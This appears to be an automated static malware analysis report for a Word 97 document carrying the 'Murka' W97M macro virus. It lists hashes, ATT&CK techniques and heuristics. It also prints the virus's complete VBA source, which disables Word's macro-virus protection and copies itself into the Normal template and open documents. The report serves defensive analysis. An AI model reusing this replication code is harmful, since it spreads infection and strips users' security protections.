Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6ef4cea4cc794ea2…

MALICIOUS

Office (OLE)

29.5 KB Created: 2000-10-11 14:36:00 Authoring application: Microsoft Word 8.0 First seen: 2015-09-21
MD5: 37d81c220b0cbeedeac7fbc1bb51d4b0 SHA-1: db523c7a57faef1629ccde6ca25c92af3e66564f SHA-256: 6ef4cea4cc794ea2e79ac46c8e69ff4da727b8ba596d6a1c3e2ee6447ffe0a72
80 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a Microsoft Word document containing VBA macros. Heuristics indicate that these macros attempt self-replication and AV tampering. The script explicitly mentions 'Murka' and discusses antivirus modules, suggesting an attempt to disable or evade security measures. The script also modifies the Normal template, which is a common persistence technique.

Heuristics 2

  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
          .DeleteLines i, j

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2976 bytes
SHA-256: 2e0675fc87a30cfd0fe743260ef979c431ee0ed547acfba2ca7f26962418f1c4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
'*************************************************************************
'Murka - Ýòî ñàìûé ìàëåíüêèé èç âñåõ èçâåñòíûõ ÌàêðîÀíòèâèðóñíûõ ìîäóëåé!
'Ïðèíöèï äåéñòâèÿ: Çàãðóæàåòñÿ âìåñòå ñ äîêóìåíòîì è áëîêèðóåò
'                 ðàñïðîñòðàíåíèå çàðàæåííûõ ìîäóëåé
'
'Óñëîâèÿ ðàñïðîñòðàíåíèÿ: Freeware(Ñâîáîäíî)
'Äîñòîèíñòâà:             Êîððåêòíàÿ ðàáîòà, íàäåæíîñòü!
'Íåäîñòàòêè:              Ïîêà íå íàøåë
'
'"Âñå ýòî, êîíå÷íî, õîðîøî, íî ÿ íè õðåíà íå ïîíÿë, êàê åãî
' ìîæíî ïðåîáðåñòè?!" - ãíåâíî ñêàæåøü òû. Ìîæíî!
'Äåä MustDie âàì âñå ðàñêàæåò!
'Íåîáõîäèìî ëèøü îòêðûòü äîêóìåíò íà ïåðñîíàëüíîì
'êîìïå. ãäå óæå óñòàíîâëåí àíòèâèðóñíûé ìîäóëü Murka.
'
'Àâòîðó:   mustdie@chat.ru
'Murke:    murka@chat.ru
'Äàíèëîâó: antivir@dials.ru
'*************************************************************************
On Error Resume Next
Dim s As Boolean
Dim i As Long
Dim j As Long
Dim Murka As String
Dim Other As String
Dim str As String
  s = ActiveDocument.Saved
  Application.EnableCancelKey = wdCancelDisabled
  With Options: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
  str = "Document_Close"
  With MacroContainer.VBProject.VBComponents.Item(1).CodeModule
    i = .ProcBodyLine(str, vbext_pk_Proc)
    j = .ProcCountLines(str, vbext_pk_Proc)
    Murka = .Lines(i, j)
  End With
  With NormalTemplate.VBProject.VBComponents.Item(1).CodeModule
    i = .ProcBodyLine(str, vbext_pk_Proc)
    j = .ProcCountLines(str, vbext_pk_Proc)
    Other = .Lines(i, j)
    If Other <> Murka And Murka <> "" Then
      .DeleteLines i, j
      .InsertLines 1, Murka
      NormalTemplate.Save
    End If
  End With
  With ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
    i = .ProcBodyLine(str, vbext_pk_Proc)
    j = .ProcCountLines(str, vbext_pk_Proc)
    Other = .Lines(i, j)
    If Other <> Murka And Murka <> "" Then
      .DeleteLines i, j
      .InsertLines 1, Murka
      Randomize
      If Rnd < 0.3 Then With Dialogs(wdDialogFileSummaryInfo): .Title = "Murka3": .Author = "M&M": .Execute: End With
      If Left(ActiveDocument.Name, 8) <> "Document" Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
    End If
  End With
  If ActiveDocument.Saved <> s Then ActiveDocument.Saved = s
End Sub

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